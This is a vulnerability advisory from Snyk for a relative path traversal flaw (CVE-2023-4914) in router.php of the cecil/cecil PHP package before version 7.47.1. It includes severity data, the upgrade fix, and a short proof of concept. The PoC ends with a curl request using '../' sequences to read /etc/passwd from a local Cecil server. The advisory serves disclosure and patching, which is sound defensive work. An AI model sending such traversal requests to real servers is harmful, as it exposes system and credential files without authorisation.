Relative Path Traversal Affecting cecil/cecil package, versions <7.47.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.18% (57th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Relative Path Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-CECILCECIL-5894047
  • published14 Sept 2023
  • disclosed12 Sept 2023
  • creditYufan You

Introduced: 12 Sep 2023

CVE-2023-4914  (opens in a new tab)
CWE-23  (opens in a new tab)

How to fix?

Upgrade cecil/cecil to version 7.47.1 or higher.

Overview

Affected versions of this package are vulnerable to Relative Path Traversal in the router.php file. An attacker can manipulate file paths to access files outside of the intended directory by providing a relative path leading to information disclosure.

PoC


mkdir cecil-path-traversal-poc
cd cecil-path-traversal-poc
curl -L https://cecil.app/cecil.phar -o cecil
chmod +x cecil
./cecil new:site -n
./cecil serve

curl --path-as-is http://localhost:8000/../../../../../../../../etc/passwd

CVSS Base Scores

version 3.1